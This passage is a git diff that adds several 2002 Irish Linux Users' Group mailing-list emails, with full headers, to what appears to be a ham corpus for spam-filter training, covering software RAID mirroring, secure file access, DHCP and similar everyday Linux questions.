+Mandrake/YellowDog, RedHat/SuSe and Debian you have enough options to cover +most day-to-day requirements. And a lot of the specific situations are +already covered (smoothwall, familiar, etc.) + +Therefore, if I were to create a new Linux distribution, I would have to +spend time crafting it so that it offers a lot more than existing +alternatives. My requirements normally involve better support/easier +maintenance, and if one follows the logic through, this would require a +company to be behind such an initiative. + +I imagine it would be possible to create a new distribution in about one +week[1]. For example: take Debian as your base, slap a specific set of +packages on CD, change a few config files, mention that it has been untested +on most hardware variations, and voila, a "new" distie. :) + +- Matthew + +[1] That is, IT weeks. 1 IT week ~= two months. :) + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00402.ef4c6900aafb8fa25e743a10c4f3b0b8 b/bayes/spamham/easy_ham_2/00402.ef4c6900aafb8fa25e743a10c4f3b0b8 new file mode 100644 index 0000000..51a8755 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00402.ef4c6900aafb8fa25e743a10c4f3b0b8 @@ -0,0 +1,63 @@ +From ilug-admin@linux.ie Tue Aug 13 14:04:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E1ECA43C32 + for ; Tue, 13 Aug 2002 09:04:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 14:04:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DD39e32579 for + ; Tue, 13 Aug 2002 14:03:10 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA15196; Tue, 13 Aug 2002 14:02:11 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA15163; Tue, 13 Aug 2002 14:02:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g7DD20325294; Tue, 13 Aug 2002 14:02:00 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g7DD20W22917; Tue, + 13 Aug 2002 14:02:00 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Donncha O Caoimh +To: ilug@linux.ie, Niall O Broin +Subject: Re: [ILUG] Secure remote file access +Date: Tue, 13 Aug 2002 14:02:00 +0100 +X-Mailer: KMail [version 1.4] +References: <20020813112214.GA5163@bilbo.makalumedia.com> +In-Reply-To: <20020813112214.GA5163@bilbo.makalumedia.com> +MIME-Version: 1.0 +Message-Id: <200208131402.00058.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + OAA15163 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +rsync over ssh.. very nice! + +Donncha. + + +On Tuesday 13 August 2002 12:22, Niall O Broin wrote: +> What are the best options available on Linux ? SFTP ? WebDAV ? Something +> else ? Linux servers - Linux and Mac OS-X clients. +> +> +> +> Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00403.b1daf6c6c299354f3b46c5fca2296aee b/bayes/spamham/easy_ham_2/00403.b1daf6c6c299354f3b46c5fca2296aee new file mode 100644 index 0000000..b06117e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00403.b1daf6c6c299354f3b46c5fca2296aee @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Tue Aug 13 14:09:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9596D43C32 + for ; Tue, 13 Aug 2002 09:09:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 14:09:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DD8ue00375 for + ; Tue, 13 Aug 2002 14:09:01 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA15562; Tue, 13 Aug 2002 14:07:39 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA15524 for ; + Tue, 13 Aug 2002 14:07:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from germain.ie.suberic.net (germain.g.dev.ie.alphyra.com + [192.168.7.200]) by ie.suberic.net (8.11.6/8.11.6) with ESMTP id + g7DD7VY32529 for ; Tue, 13 Aug 2002 14:07:31 +0100 +Received: from germain.ie.suberic.net (germain [127.0.0.1]) by + germain.ie.suberic.net (8.11.6/8.11.6) with ESMTP id g7DD7VA30541 for + ; Tue, 13 Aug 2002 14:07:31 +0100 +Date: Tue, 13 Aug 2002 14:07:26 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] Secure remote file access +Message-Id: <20020813140726.B30231@ie.suberic.net> +References: <20020813112214.GA5163@bilbo.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020813112214.GA5163@bilbo.makalumedia.com>; from + niall@linux.ie on Tue, Aug 13, 2002 at 12:22:14PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029676051.792347@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:22:14PM +0100, Niall O Broin wrote: +> What are the best options available on Linux ? SFTP ? WebDAV ? Something +> else ? Linux servers - Linux and Mac OS-X clients. + +http://www.fs.net/ + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00404.928afb395a19b10821c61df44195e521 b/bayes/spamham/easy_ham_2/00404.928afb395a19b10821c61df44195e521 new file mode 100644 index 0000000..2940d02 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00404.928afb395a19b10821c61df44195e521 @@ -0,0 +1,160 @@ +From ilug-admin@linux.ie Wed Aug 14 11:00:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D5665440FE + for ; Wed, 14 Aug 2002 05:52:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E7iK405742 for + ; Wed, 14 Aug 2002 08:44:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA26436; Wed, 14 Aug 2002 08:43:17 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA26400 for ; Wed, + 14 Aug 2002 08:43:11 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA20978 for ; Wed, + 14 Aug 2002 08:42:40 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7E7gre09348 for ilug@linux.ie; Wed, 14 Aug 2002 08:42:53 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 14 Aug 2002 08:42:53 +0100 +From: "John P. Looney" +To: Irish LUG list +Subject: Re: [ILUG] mirroring on a running system +Message-Id: <20020814074252.GI28648@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +References: <20020813134842.GZ2019@jinny.ie> + <20020813145657.A25372@prodigy.Redbrick.DCU.IE> + <200208131507.04699.colm@tuatha.org> <20020813151056.GB28648@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020813151056.GB28648@jinny.ie> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 04:10:57PM +0100, John P. Looney mentioned: +> > I think this procedure is described in the RAID HOWTO for installing a +> > new system, but it applies just as well to a running system. +> +> Just double checking (I'd be pissed if I just wiped my installation!)... + + Well, this mostly worked, despite Colm saying that "you want the +"failed-disk" *instead* of the second "raid-disk", not in addition to it". + + I suppose that means instead of: + +> raiddev /dev/md0 +> raid-level 1 +> nr-raid-disks 2 +> nr-spare-disks 0 +> chunk-size 4 +> persistent-superblock 1 +> device /dev/hdg3 +> raid-disk 0 +> device /dev/hda5 +> raid-disk 1 +> +> failed-disk 1 + + I should have had: + +> raiddev /dev/md0 +> raid-level 1 +> nr-raid-disks 2 +> nr-spare-disks 0 +> chunk-size 4 +> persistent-superblock 1 +> device /dev/hdg3 +> raid-disk 0 +> device /dev/hda5 +> failed-disk 1 + + It likely means that I was just lucky I put the failed-disk directive +after the raid-disk one :) + + Anyway. It's doesn't quite boot right, with /=/dev/md0 in fstab. On boot, I see: + +Partition check: + hda: [PTBL] [2482/255/63] hda1 hda2 hda3 hda4 < hda5 > + hdg: [PTBL] [2434/255/63] hdg1 hdg2 hdg3 +floppy0: no floppy controllers found +RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize +ide-floppy driver 0.99.newide +md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 +md: Autodetecting RAID arrays. + [events: 00000000] +md: invalid raid superblock magic on hda2 +md: hda2 has invalid sb, not importing! +md: could not import hda2! + [events: 00000004] + [events: 00000002] + [events: 00000004] +md: autorun ... +md: considering hdg3 ... +md: adding hdg3 ... +md: adding hda5 ... +md: created md0 +md: bind +md: bind +md: running: +md: hdg3's event counter: 00000004 +md: hda5's event counter: 00000004 +md: RAID level 1 does not need chunksize! Continuing anyway. +kmod: failed to exec /sbin/modprobe -s -k md-personality-3, errno = 2 +md: personality 3 is not loaded! +md :do_md_run() returned -22 +md: md0 stopped. +md: unbind +md: export_rdev(hdg3) +md: unbind +md: export_rdev(hda5) +md: considering hdg1 ... +md: adding hdg1 ... +md: created md1 +md: bind +md: running: +md: hdg1's event counter: 00000002 +md: RAID level 1 does not need chunksize! Continuing anyway. +kmod: failed to exec /sbin/modprobe -s -k md-personality-3, errno = 2 +md: personality 3 is not loaded! +md :do_md_run() returned -22 +md: md1 stopped. +md: unbind +md: export_rdev(hdg1) +md: ... autorun DONE. + + Any ideas why ? + + My suspicion is that I've a lack of knowledge about how initrd works, so +I'm not sure it's loading it. For a start, the / filesystem is being +mounted as ext2, at first, not ext3. It does seem mounted as ext3 after +the fsck is done - but that means that it's mounted as ext2 read only, +fsck'ed and then remounted ext3. Losing the point of it. + + Given I can't pass the kernel parameters (I think), how then can I get it +to load the initrd ? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00405.1a2eb406d0e8423f7af0b807d584d8ab b/bayes/spamham/easy_ham_2/00405.1a2eb406d0e8423f7af0b807d584d8ab new file mode 100644 index 0000000..3e7adb7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00405.1a2eb406d0e8423f7af0b807d584d8ab @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Wed Aug 14 11:00:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 23E974414A + for ; Wed, 14 Aug 2002 05:52:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E8PL406816 for + ; Wed, 14 Aug 2002 09:25:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA27936; Wed, 14 Aug 2002 09:24:28 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA27902 for ; Wed, + 14 Aug 2002 09:24:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Wed, 14 Aug 2002 09:23:54 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E018855CA@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] mirroring on a running system +Date: Wed, 14 Aug 2002 09:22:27 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I don't see why not John, but I'd sure backup my data first ;--) + +So I suppose you could setup half of the raid1, copy your partitions across, +vi lilo to append the new device labels, /dev/md0 instead of /dev/hda... +re-run lilo, then raidhotadd /dev/xxx /dev/md0 [or is that the other way +around?] + +I have never tried this so this could be bollix, I have setup root-raid +systems but during install time, I have had drive failures on my +"production" systems at home and successfully re-built the raid many times. +IMHO linux software raid is extremely good. + +When are we going to have a pint? + +CW + +-------------------------- + I've a running system, and I want to set it up so that the disks are +mirrored. I'll win a little more read speed, and a lot more reliability. + + However, the RAID_HOWTO just mentions RAID 1 and RAID 0 on a machine +that's new. They don't mention anything about an existing setup. Is it +possible to setup disk mirroring on a running box ? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00406.c2e18b5697e14dda96d7eeb1b06efdd5 b/bayes/spamham/easy_ham_2/00406.c2e18b5697e14dda96d7eeb1b06efdd5 new file mode 100644 index 0000000..c579609 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00406.c2e18b5697e14dda96d7eeb1b06efdd5 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Wed Aug 14 11:01:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E38DE4414B + for ; Wed, 14 Aug 2002 05:52:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E8WB407057 for + ; Wed, 14 Aug 2002 09:32:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA28339; Wed, 14 Aug 2002 09:31:07 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA28289 for ; Wed, + 14 Aug 2002 09:31:01 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA23968; Wed, 14 Aug 2002 09:30:30 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7E8UeK15776; Wed, 14 Aug 2002 09:30:40 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 14 Aug 2002 09:30:40 +0100 +From: "John P. Looney" +To: "Wynne, Conor" +Cc: "'ilug@linux.ie'" +Subject: Re: [ILUG] mirroring on a running system +Message-Id: <20020814083039.GK28648@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: "Wynne, Conor" , + "'ilug@linux.ie'" +References: <0D443C91DCE9CD40B1C795BA222A729E018855CA@milexc01.maxtor.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E018855CA@milexc01.maxtor.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: +> When are we going to have a pint? + + Tuesday next week. Boars Head, Capel st. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00407.5315d205589f4367f940cd2ece0af927 b/bayes/spamham/easy_ham_2/00407.5315d205589f4367f940cd2ece0af927 new file mode 100644 index 0000000..2785806 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00407.5315d205589f4367f940cd2ece0af927 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Wed Aug 14 11:01:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 843D74414C + for ; Wed, 14 Aug 2002 05:52:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E99W408032 for + ; Wed, 14 Aug 2002 10:09:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29885; Wed, 14 Aug 2002 10:08:32 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29852 for ; Wed, + 14 Aug 2002 10:08:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Wed, 14 Aug 2002 10:08:26 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E018855D0@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] mirroring on a running system +Date: Wed, 14 Aug 2002 10:08:03 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +All right, can't get pissed though as its a week-day. If we were to do it in +Lucan, that would be another story ;--) + +Do we have many takers? + +CW + +------------- +On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: +> When are we going to have a pint? + + Tuesday next week. Boars Head, Capel st. + +Kate + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00408.95ccc05d55c8dafbd32c2e133039684c b/bayes/spamham/easy_ham_2/00408.95ccc05d55c8dafbd32c2e133039684c new file mode 100644 index 0000000..a1b446e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00408.95ccc05d55c8dafbd32c2e133039684c @@ -0,0 +1,50 @@ +From ilug-admin@linux.ie Wed Aug 14 11:32:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 89B5243C34 + for ; Wed, 14 Aug 2002 06:32:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 11:32:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EAUa410257 for + ; Wed, 14 Aug 2002 11:30:36 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA00792; Wed, 14 Aug 2002 11:28:55 +0100 +Received: from mail.SiteLite-Dublin.local ([217.114.163.7]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA00762 for ; + Wed, 14 Aug 2002 11:28:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.114.163.7] claimed to + be mail.SiteLite-Dublin.local +Received: from ss-linux2 ([192.168.9.89]) by mail.SiteLite-Dublin.local + with Microsoft SMTPSVC(5.0.2195.5329); Wed, 14 Aug 2002 11:28:03 +0100 +Date: Wed, 14 Aug 2002 02:26:19 +0100 +From: Sorin Suciu +To: ILUG@linux.ie +Message-Id: <20020814022619.12ada9a3.ssuciu@sitelite.com> +Organization: Sitelite Inc. +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i686-pc-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Originalarrivaltime: 14 Aug 2002 10:28:03.0561 (UTC) FILETIME=[457D5590:01C2437D] +Subject: [ILUG] Server Partitioning +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi, +Does anyone use partitioning on a Linux server? What is the recommended solution? UML? +Cheers, +Sorin + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00409.b75447e5dafb3db75f2e0d5d1fc7c675 b/bayes/spamham/easy_ham_2/00409.b75447e5dafb3db75f2e0d5d1fc7c675 new file mode 100644 index 0000000..9d71c23 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00409.b75447e5dafb3db75f2e0d5d1fc7c675 @@ -0,0 +1,56 @@ +From ilug-admin@linux.ie Wed Aug 14 17:00:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6A3DE43C34 + for ; Wed, 14 Aug 2002 12:00:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 17:00:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EFxS423302 for + ; Wed, 14 Aug 2002 16:59:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA17160; Wed, 14 Aug 2002 16:52:44 +0100 +Received: from mail.acquirer.com ([213.190.156.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA17127 for ; Wed, + 14 Aug 2002 16:52:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.21] claimed + to be mail.acquirer.com +Received: from pancake.netability.ie (pancake.netability.ie + [192.168.100.44]) by mail.acquirer.com (8.12.3/8.12.3) with ESMTP id + g7EFqbiU070777 for ; Wed, 14 Aug 2002 16:52:38 +0100 (IST) + (envelope-from nick-list@netability.ie) +Subject: Re: [ILUG] Compiling for X +From: Nick Hilliard +To: ilug@linux.ie +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Date: 14 Aug 2002 16:52:37 +0100 +Message-Id: <1029340357.56098.10.camel@pancake.netability.ie> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Mmmph. You may actually need -L/usr/lib/X11 (or -L/usr/X11R6/lib) to +> make this work. I'm sure ld/gcc is smart enough to cope with out of +> order args. + +ld does not generally cope with out of order args by design. + +Nick + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00410.eaebef68f574076b5d3b8390faa2586e b/bayes/spamham/easy_ham_2/00410.eaebef68f574076b5d3b8390faa2586e new file mode 100644 index 0000000..4864f18 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00410.eaebef68f574076b5d3b8390faa2586e @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Thu Aug 15 10:51:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7DB2B43C4B + for ; Thu, 15 Aug 2002 05:49:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:47 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7EJvO401232 for + ; Wed, 14 Aug 2002 20:57:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA27741; Wed, 14 Aug 2002 20:56:40 +0100 +Received: from odin.he.net (odin.he.net [216.218.181.2]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA27704 for ; + Wed, 14 Aug 2002 20:56:30 +0100 +Received: (from dbiassoc@localhost) by odin.he.net (8.8.6/8.8.2) id + MAA31265; Wed, 14 Aug 2002 12:56:09 -0700 +Date: Wed, 14 Aug 2002 12:56:09 -0700 +Message-Id: <200208141956.MAA31265@odin.he.net> +X-Authentication-Warning: odin.he.net: dbiassoc set sender to + poneil@dbiassociates.net using -f +From: "Paul O Neil" +To: Ronan Cunniffe +Cc: ilug@linux.ie +Subject: Re: [ILUG] DHCP +X-Mailer: WebMail 1.25 +X-Ipaddress: 207.213.78.2 +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +> Quoting Paul O'Neil : +> +> > Excuse me for asking an old question here but Ive been running SuSE +with a +> > cable modem for a couple months. About 5-6 weeks ago the internet +access +> > was +> > not working and I rebooted noticing I came up with a new IP +address, and it +> > worked fine. How does it work exactly when the cable company +releases and +> > renews an ip address. Do they merely setup their system to issue +new ip +> > addresses when cusomters reboot their computer or does it 